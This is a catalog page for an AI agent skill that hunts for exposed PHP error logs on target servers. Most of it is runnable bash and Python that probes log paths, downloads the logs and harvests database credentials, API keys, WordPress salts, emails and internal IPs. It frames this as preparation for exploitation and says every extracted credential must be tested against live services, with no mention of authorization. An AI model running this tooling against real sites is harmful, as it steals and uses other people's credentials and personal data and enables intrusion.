error-log-mining
Mine error_log for creds, paths, SQL when leak hunt finds.
How do I install this agent skill?
npx skills add https://github.com/uphiago/recon-skills --skill error-log-miningIs this agent skill safe to install?
- Gen Agent Trust Hubpass
The error-log-mining skill is a reconnaissance tool designed to find and analyze exposed PHP error logs on target servers. It extracts sensitive data such as database credentials, API keys, and internal paths using shell commands and a Python script. While functional for security auditing, it introduces a risk of indirect prompt injection because it processes untrusted content from remote targets without sanitization. If an agent is asked to analyze the raw output, malicious strings embedded in the target's logs could potentially influence its behavior. The skill also performs automated network requests and command execution to fetch these logs.
- Socketwarn
2 alerts: gptSecurity
- Snykwarn
Risk: MEDIUM · 1 issue
What does this agent skill do?
Error Log Mining Skill
Discover and analyze exposed PHP error_log files for server paths, database
errors, SQL fragments, API-key candidates, email addresses, and internal
addresses. Collect a bounded sample and validate the sensitivity of its content
instead of inferring impact from file size or status.
When to Use
- Running
deep-invadePhase 2 on a high-value target. skill_view(name='source-leak-hunt')found anerror_logfile with HTTP 200.- Target has PHP (WordPress, Laravel, custom PHP) with
display_errorspossibly enabled. - You need server-side context (paths, DB structure) before attempting exploitation.
Prerequisites
terminalwith curl, grep, and python3.- Target URL with potential error_log at common paths.
- Disk space: error logs can be multi-GB. Use
curl -rfor range requests on large files.
How to Run
TARGET="https://example.com"
# Paths to probe
for path in "error_log" "wp-content/debug.log" "debug.log" "errors.log" \
"php_errors.log" "wp-content/error.log" "logs/error.log"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path")
[[ "$code" == "200" ]] && echo "FOUND: $TARGET/$path"
done
# Download and analyze
curl --max-time 30 --connect-timeout 10 -sk "$TARGET/error_log" -o error_log.txt
python3 analyze_log.py error_log.txt
Quick Reference
| Extraction Target | Python regex | Value |
|---|---|---|
| Server paths | re.findall(r'/home/[^\s:)]+', txt) | Full directory structure |
| Email addresses | re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt) | Admin emails |
| DB credentials | DB_USER[^=]*=[\s'\"]*([^'\";\s]+) DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+) DB_HOST[^=]*=[\s'\"]*([^'\";\s]+) DB_NAME[^=]*=[\s'\"]*([^'\";\s]+) | Database access |
| API keys | sk-[a-zA-Z0-9]{20,60} AIza[0-9A-Za-z_-]{35} AKIA[0-9A-Z]{16} eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,} | Stripe, Google, AWS, JWT |
| SQL queries | (?:SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE)[^;]{0,300} | DB schema, table names |
| WordPress salts | (?:AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT|SECURE_AUTH_SALT|LOGGED_IN_SALT|NONCE_SALT)[^,;]+ | Session hijack potential |
| PHP error types | Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10) | Error breakdown |
| Date range | re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt) | Log freshness |
Procedure
Step 1 — Discover Error Log Location
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
mkdir -p "$OUTDIR"
echo "[*] Probing common error log paths on $TARGET..."
ERROR_LOG_PATHS=(
"error_log"
"wp-content/debug.log"
"debug.log"
"errors.log"
"php_errors.log"
"wp-content/error.log"
"logs/error.log"
"log/error.log"
"tmp/php-errors.log"
"wp-content/plugins/debug.log"
"wp-content/themes/debug.log"
)
FOUND_LOGS=()
for path in "${ERROR_LOG_PATHS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/$path" 2>/dev/null)
if [[ "$code" == "200" ]]; then
# Quick content check to avoid SPA false positives
sample=$(curl -sk --max-time 5 --connect-timeout 5 -r 0-500 "https://$TARGET/$path" 2>/dev/null)
if echo "$sample" | grep -qiE 'PHP|Error|Warning|Stack trace|\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4}'; then
echo "[FOUND] https://$TARGET/$path"
FOUND_LOGS+=("https://$TARGET/$path")
fi
fi
sleep 0.3
done
echo "[+] Found ${#FOUND_LOGS[@]} error log(s)"
Step 2 — Download and Sample Large Logs
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
for url in "${FOUND_LOGS[@]}"; do
fname=$(echo "$url" | sed 's|https\?://||' | sed 's|/|_|g')
echo "[*] Downloading $url..."
# First, check file size
size=$(curl -skI --max-time 10 --connect-timeout 10 "$url" 2>/dev/null | grep -i "content-length" | awk '{print $2}' | tr -d '\r')
if [[ -n "$size" && "$size" -gt 10000000 ]]; then
echo " Large file (${size} bytes) — sampling first 5MB..."
curl -sk --max-time 30 --connect-timeout 10 -r 0-5000000 "$url" -o "$OUTDIR/${fname}_sample.txt" 2>/dev/null
elif [[ -n "$size" && "$size" -gt 1000000 ]]; then
echo " Medium file (${size} bytes) — downloading full..."
curl -sk --max-time 30 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null
else
echo " Small file — downloading full..."
curl -sk --max-time 15 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null
fi
sleep 0.5
done
Step 3 — Extract Intelligence
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do
[[ ! -f "$logfile" ]] && continue
echo ""
echo "═══════════ $(basename "$logfile") ═══════════"
echo ""
# 1. Server Paths
echo "[SERVER PATHS]"
grep -Eo '(/[a-zA-Z0-9_/.-]+\.php)' "$logfile" 2>/dev/null | sort -u | head -20
# 2. Email Addresses
echo ""
echo "[EMAIL ADDRESSES]"
grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$logfile" 2>/dev/null | sort -u | head -15
# 3. Database Credentials
echo ""
echo "[DB CREDENTIALS & CONNECTIONS]"
grep -iE 'mysql_connect|mysqli_connect|new PDO|pg_connect|DB_HOST|DB_USER|DB_PASSWORD|DB_NAME|database.*password|dsn.*mysql' "$logfile" 2>/dev/null | head -10
# 4. SQL Queries
echo ""
echo "[SQL QUERIES]"
grep -iE '(SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE|DROP TABLE).*(FROM|INTO|SET)' "$logfile" 2>/dev/null | head -10
# 5. API Keys & Tokens
echo ""
echo "[API KEYS & TOKENS]"
grep -iE 'api[_-]?key|api[_-]?secret|access[_-]?token|auth[_-]?token|bearer [A-Za-z0-9_\-]{20,}|sk-[A-Za-z0-9]{20,}|key=[A-Za-z0-9]{20,}' "$logfile" 2>/dev/null | head -10
# 6. Internal IPs
echo ""
echo "[INTERNAL IPs]"
grep -Po '(?:10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|192\.168\.)\d{1,3}\.\d{1,3}' "$logfile" 2>/dev/null | sort -u | head -10
# 7. WordPress specific
echo ""
echo "[WORDPRESS PATHS]"
grep -Po '/wp-content/(?:plugins|themes|uploads)/[a-zA-Z0-9_/.-]+' "$logfile" 2>/dev/null | sort -u | head -15
# 8. PHP Error Summary
echo ""
echo "[ERROR SUMMARY]"
echo " Fatal errors: $(grep -ci 'Fatal error' "$logfile" 2>/dev/null || echo 0)"
echo " Warnings: $(grep -ci 'Warning' "$logfile" 2>/dev/null || echo 0)"
echo " Notices: $(grep -ci 'Notice' "$logfile" 2>/dev/null || echo 0)"
echo " Parse errors: $(grep -ci 'Parse error' "$logfile" 2>/dev/null || echo 0)"
echo " Deprecated: $(grep -ci 'Deprecated' "$logfile" 2>/dev/null || echo 0)"
echo " Stack traces: $(grep -ci 'Stack trace' "$logfile" 2>/dev/null || echo 0)"
# 9. Date Range
echo ""
echo "[DATE RANGE]"
first=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | head -1)
last=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | tail -1)
[[ -n "$first" ]] && echo " First: $first"
[[ -n "$last" ]] && echo " Last: $last"
# 10. Plugin/Theme Names from Paths
echo ""
echo "[PLUGINS FROM ERRORS]"
grep -Po '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -20
echo ""
echo "[THEMES FROM ERRORS]"
grep -Po '/wp-content/themes/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -10
sleep 0.3
done
Step 4 — Extract Actionable Intelligence
TARGET="$1"
OUTDIR="$OUTDIR/error_logs/$TARGET"
SUMMARY="$OUTDIR/intel_summary.md"
cat > "$SUMMARY" << EOF
# Error Log Intelligence — $TARGET
## Credentials Found
EOF
for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do
[[ ! -f "$logfile" ]] && continue
# DB credentials
grep -iE 'DB_HOST|DB_USER|DB_PASSWORD|DB_NAME' "$logfile" 2>/dev/null | while read -r line; do
echo "- $line" >> "$SUMMARY"
done
# API keys
grep -iE 'api[_-]?key.*=|api[_-]?secret.*=|access[_-]?token.*=' "$logfile" 2>/dev/null | while read -r line; do
echo "- $line" >> "$SUMMARY"
done
done
echo "" >> "$SUMMARY"
echo "## Server Paths" >> "$SUMMARY"
grep -Eo '/[a-zA-Z0-9_/.-]+\.php' "$OUTDIR"/*.txt 2>/dev/null | sort -u | head -30 | while read -r line; do
echo "- $line" >> "$SUMMARY"
done
echo "" >> "$SUMMARY"
echo "## Email Addresses" >> "$SUMMARY"
grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$OUTDIR"/*.txt 2>/dev/null | sort -u | while read -r line; do
echo "- $line" >> "$SUMMARY"
done
echo "" >> "$SUMMARY"
echo "## Plugins Discovered" >> "$SUMMARY"
grep -Po '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$OUTDIR"/*.txt 2>/dev/null | sort -u | while read -r line; do
echo "- $line" >> "$SUMMARY"
done
echo ""
echo "[+] Intelligence summary saved to $SUMMARY"
Step 5 — Cross-Reference with Other Findings
# Does error log reveal the DB name? Cross-ref with wp-config leak
DB_NAME=$(grep -Po 'DB_NAME["\x27\s:=]+["\x27][a-zA-Z0-9_]+' $OUTDIR/error_logs/*/intel_summary.md 2>/dev/null)
echo "DB name from logs: $DB_NAME"
# Does it reveal internal hostnames?
HOSTNAMES=$(grep -Po '(?:[a-zA-Z0-9-]+\.(?:internal|local|lan|corp|priv))' $OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u)
[[ -n "$HOSTNAMES" ]] && echo "Internal hostnames:" && echo "$HOSTNAMES"
# Are there file inclusion paths that indicate LFI potential?
LFI_PATHS=$(grep -Po '(?:include|require|include_once|require_once)\s*\(\s*[\x27"]([^\x27"]+\.php)' $OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u)
[[ -n "$LFI_PATHS" ]] && echo "Potential LFI paths:" && echo "$LFI_PATHS"
Bounded Log Miner
import re
from collections import Counter
def mine_error_log(txt):
results = {}
# Server paths
results['paths'] = sorted(set(re.findall(r'/home/[^\s:)]+', txt)))[:20]
# Email addresses
results['emails'] = sorted(set(re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt)))[:20]
# DB credentials (4 patterns extracted from php error context)
db_creds = set()
for pat in [r"DB_USER[^=]*=[\s'\"]*([^'\";\s]+)",
r"DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+)",
r"DB_HOST[^=]*=[\s'\"]*([^'\";\s]+)",
r"DB_NAME[^=]*=[\s'\"]*([^'\";\s]+)"]:
for m in re.findall(pat, txt): db_creds.add(m)
results['db_creds'] = sorted(db_creds)
# API keys (5 pattern classes — all extracted from error context)
api_keys = set()
for pat in [r'sk-[a-zA-Z0-9]{20,60}', # Stripe
r'AIza[0-9A-Za-z_-]{35}', # Google
r'AKIA[0-9A-Z]{16}', # AWS IAM
r'pk_[a-zA-Z0-9]+', # Publishable keys
r'eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}']: # JWT
for m in re.findall(pat, txt): api_keys.add(m)
results['api_keys'] = sorted(api_keys)[:10]
# SQL queries
results['sql_queries'] = re.findall(
r'(?:SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE)[^;]{0,300}',
txt, re.I)[:10]
# WordPress salts (session hijack potential)
results['wp_salts'] = re.findall(
r"(?:AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT|SECURE_AUTH_SALT|LOGGED_IN_SALT|NONCE_SALT)[^,;]+",
txt)
# Error type breakdown
results['error_types'] = Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10)
# Date range
dates = re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt)
if dates:
results['date_range'] = f"{dates[0]} to {dates[-1]} ({len(set(dates))} unique dates)"
return results
Pitfalls
- Error logs can be very large. Check
Content-Lengthbefore downloading and use a bounded range such ascurl -r 0-5000000for an initial sample. - Logs may contain PII. Email addresses, IPs, and usernames in error logs may constitute a data breach. Handle responsibly.
- Log rotation may truncate. The visible error_log may only contain recent entries. Check for rotated logs (
error_log.1,error_log.old,error_log-YYYYMMDD). - Some hosts return garbage. A 200 on
/error_logmight be a custom 404 page or SPA catch-all. Always check content forPHP+ error type pattern before analyzing. - Old logs ≠ current vulnerability. A 2013 error log doesn't mean the current site is vulnerable. Cross-reference log timeline with the server tech stack.
Verification
- Error log MUST contain PHP error patterns (
[date] PHP Warning:,Stack trace:,Fatal error:) to be valid. - Every credential extracted MUST be tested for validity (try MySQL connect, API key validation).
- Server paths MUST match the known directory structure (e.g.,
/home/user/public_html/). - Document the error log URL, file size, date range, and key findings for the report.
- API keys from error logs are almost always production keys (unlike JS bundle keys which are often restricted).
How can the creator link this skill?
Add the canonical catalog link to the repository README so users can inspect current installs and available audits. The publishing guide covers the complete discovery path.
<a href="https://skillzs.dev/skills/uphiago/recon-skills/error-log-mining">View error-log-mining on skillZs</a>